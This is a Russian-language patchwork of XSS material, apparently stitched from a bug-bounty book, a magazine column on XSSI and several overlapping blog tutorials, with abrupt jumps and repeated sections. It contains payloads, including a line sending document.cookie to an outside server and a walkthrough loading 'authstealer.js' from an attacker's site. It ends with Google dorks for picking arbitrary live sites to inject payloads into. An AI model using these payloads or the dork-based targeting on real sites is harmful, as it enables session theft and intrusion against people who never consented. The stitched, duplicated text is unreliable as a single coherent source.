Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:
alert(‘XSS’);
Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.
Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.
Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:
- Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.
- Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.
- Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.
Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?
Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.
Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.
1. Распродажа ShopifyСложность:
Низкая
Url:
wholesale.shopify.com
Ссылка на отчет:
https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение:
$500
Описание:
Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:
Скриншот сайта распродаж wholesale
XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’
Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.
ВыводыТестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.
XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.
2. Корзина подарочных карт ShopifyСложность:
Низкая
Url:
hardware.shopify.com/cart
Ссылка на отчет:
https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение:
$500
Описание:
Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:
Скриншот формы магазина подарочных карт Shopify
XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:
Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ” |
Её можно было перехватить и изменить на:
Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”; |
Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости.
Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).
Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.
К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:
При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.
Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):
Var a = "12345";
Тогда на сайте атакующего мы можем получить значение переменной:
console.log(a);
Идея работы проста, как алюминиевый чайник.
По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.
Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).
Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.
Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).
Function test(){ return "private data frm function"; }
Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.
Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).
Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.
Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.
Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.
Но если их не устранять, это может нести серьезную угрозу безопасности.
Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.
XSS: Уязвимость для инъекцииЛюбой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:
Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».
Именно для таких целей имена пользователей хранятся в базе данных.
Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.
Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.
Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.
Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.
Хранимые (постоянные).Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.
Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.
Хранимые (постоянные).Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.
Примеры XSS уязвимостей.Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:
Http://www.site.com/page.php?var=alert("xss");
Существует два типа XSS уязвимостей - пассивная и активная.
Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.
Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.
Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.
document.getElementsByTagName("form").submit();
Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).
Кража CookiesЭто наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.
Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;
Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.
Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.
Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.
DDoS-атака (распределенная атака типа «отказ в обслуживании»)XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:
Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.
Об этом мы поговорим в следующей части статьи, посвященной XSS.
Через XSS опытные злоумышленники интегрируют в страницы сайтов-жертв работающие на них скрипты, выполняемые в момент посещения зараженных ресурсов. Существует несколько видов XSS-уязвимостей, представляющих различную степень опасности.
Особенности пассивной и активной уязвимостиНаиболее осторожно стоит относиться к активной уязвимости. Когда злоумышленник внедряет свой SQL-код в доступную базу либо файл на сервер, жертвой может стать каждый посетитель зараженного ресурса. Такие места часто интегрируются, поэтому даже обработанные вашей защитой данные, хранящиеся в БД, могут по-прежнему представлять определенную опасность.
Создание пассивной XSS-уязвимости требует от злоумышленника определенной изобретательности. Либо вас заманивают на подставной ресурс всевозможными ссылками, либо пытаются любыми способами переадресовать на требуемый сайт. Обычно это происходит через письма от вымышленной администрации посещаемой вами страницы, с запросами проверки настроек аккаунта. Также активно используется разнообразные спам-рассылки или посты на широко посещаемых форумах.
Пассивная XSS-уязвимость может исходить как от POST так и от GET-параметров. Для первых характерен ряд различных ухищрений, для вторых – кодировка url-строки либо вставка дополнительных значений.
Похищение CookiesЧаще всего именно ваши Cookies становятся целью проводимой XSS атаки. Иногда в них остается ценная информация, включающая логины и пароли пользователей либо их хэш. Но достаточно опасны и совершения краж активных сессий важных для вас сайтов, поэтому не стоит забывать нажимать на кнопку «выход» даже при посещении сайтов с домашнего компьютера. Хотя большинство ресурсов для предотвращения подобных действий используют автоматическое ограничение длительности сессии. Доменные же ограничения XMLHttpRequest от таких атак не спасают.
Данные из заполняемых формПользуется популярностью и считывание информации в заполняемых формах. Для этого на вызывающих интерес страницах выполняется отслеживание событий (onsubmit), а все предоставляемые данные пересылаются также и на сервера злоумышленников. Такие атаки во многом схожи с фишинговыми, но кража происходит не на поддельном, а на реальном сайте с хорошей репутацией.
Распределенные DDoS-атакиДля атак через XSS используются и многопосещаемые ресурсы. Благодаря XSS-уязвимости выполняется переадресация приходящих на них запросов на взламываемый сервер, в результате чего его защита не выдерживает.
Поддельные межсайтовые запросы (CSRF/XSRF)У них также мало общего с XSS. Это отдельная разновидность уязвимостей, используемых в сочетании с XSS. Их целью является завлечение авторизованного пользователя с неуязвимого сайта на подставную уязвимую страницу для проведения обманных операций. Например, клиента, использующего электронную систему платежей, выманивают на уязвимый сайт, переводящий деньги на счета злоумышленников. Поэтому в большинстве платежных систем предусмотрена защита путем дополнительного введения пароля либо подтверждающего операцию кода.
Внедрение XSS-червейТакая XSS атака на сайт появилась с развитием известных соцсетей (Вконтакте, Twitter и других). Через них целые группы пользователей получают уязвимые XSS ссылки с интегрированными скриптами, рассылающими по сетям спам от их имени. Также широко практикуется и попутное копирование личной информации и фотографий на ресурсы злоумышленников.
Примеры безобидных XSSЗаметим, что многие типы счетчиков также выполняют роль активных XSS. С них ведется передача данных о регистрирующихся посетителях (их IP-адреса, данные об используемом оборудовании).
Только данный код интегрируется у вас в компьютере по вашей же воле. К другим подобным XSS можно смело отнести целый ряд кроссдоменных AJAX-запросов.
Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.
Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.
Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Если кто-то из пользователей ввёл:
То веб-страница отобразит:
Привет! Нравится твой сайт.
А если пользователь введёт так:
Привет! Нравится твой сайт.alert("Pwned")
То отобразиться это так:
Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.
Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.
Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.
Внедрённый код умеет всё то, что умеет JavaScript, а именно:
- получает доступ к кукиз просматриваемого сайта
- может вносить любые изменения во внешний вид страницы
- получает доступ к буферу обмена
- может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
- подцеплять на BeEF
- и др.
Простейший пример с кукиз:
alert(document.cookie)
На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.
Виды XSSСамое главное, что нужно понимать про виды XSS то, что они бывают:
- Хранимые (Постоянные)
- Отражённые (Непостоянные)
Пример постоянных:
- Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
- Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).
Пример непостоянных:
- На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.
Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):
- DOM-модели
Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:
Http://example.com/search.php?q="/>alert(1)
А при открытии исходного HTML кода мы видим что-то вроде такого:
alert(1)" /> Найти
А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:
сайт:::DOM XSS
An error occurred...
function OnLoad() {
var foundFrag = get_fragment();
return foundFrag;
}
function get_fragment() {
var r4c = "(.*?)";
var results = location.hash.match(".*input=token(" + r4c + ");");
if (results) {
document.getElementById("default").innerHTML = "";
return (unescape(results));
} else {
return null;
}
}
display_session = OnLoad();
document.write("Your session ID was: " + display_session + "
")
То в браузере мы увидим:
Исходный код страницы:
Давайте сформируем адрес следующим образом:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Теперь страница выглядит так:
Но давайте заглянем в исходный код HTML:
Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:
Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Где мы заменили символ ; на кодированный в URI эквивалент!
Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.
XSS AuditorВ Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:
dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.
Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.
Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.
Примеры эксплуатирования XSSЗлоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.
При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.
Пример атаки с непостоянным XSS
1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.
2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:
2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос
2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.
2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :
2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").
2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".
2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");
3. Мэлори конструирует URL для эксплуатации уязвимости:
3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.
3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».
4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.
5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.
7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.
8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.
Атака с постоянным XSS
Дорки для XSS
Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.
Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.
Самые лучшие цели - это разнообразные самописные движки и скрипты.
В качестве полезной нагрузки для вставки можно выбрать
alert(1)
Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):
alert(1)
Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>
"/>alert(1)
Давайте попробуем её для какого-нибудь сайта:
Отлично, уязвимость имеется
Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.
